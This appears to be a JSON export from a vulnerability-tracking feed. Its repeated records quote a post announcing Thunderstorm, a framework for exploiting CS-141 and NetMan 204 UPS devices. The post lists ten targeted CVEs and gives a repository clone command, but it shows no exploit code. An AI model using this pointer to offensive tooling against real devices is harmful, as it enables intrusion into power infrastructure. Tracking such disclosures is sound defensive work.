"4f837fdf-b8b6-4bd2-8fda-aaa9a11bf2f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:04.788193Z"}, {"uuid": "a7bf8d3e-37d6-42e7-ac6d-c90fa281c2dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:04.830188Z"}, {"uuid": "a50219e3-db1e-4404-b7b9-1b21d212444e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:04.874763Z"}, {"uuid": "52923c53-bc04-4b2f-bd24-e20923fec398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:04.922133Z"}, {"uuid": "bc5626e9-ba43-403c-bbfe-0f75b9a3d379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:04.972347Z"}, {"uuid": "8862ed2c-c781-4400-ab33-d0e675b655e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:05.021203Z"}, {"uuid": "cd91390c-2120-45ab-a250-567b08d85ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:05.066800Z"}, {"uuid": "664377a9-f9f9-4ebe-ae3d-b17819e594ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:05.166860Z"}, {"uuid": "ef79e5cd-b41a-46ab-8262-b915aee596fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-04T20:00:05.207710Z"}, {"uuid": "420542a0-621d-48c1-9c3c-52ba9ea0a155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:17.036302Z"}, {"uuid": "d12f14f7-1592-4e75-9202-f1cc879094a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.213353Z"}, {"uuid": "2b434b07-98cf-4c5b-95f9-fbd6e7859b70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:16.196655Z"}, {"uuid": "681ed7b4-7ec1-45d7-b763-35e35aae1e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 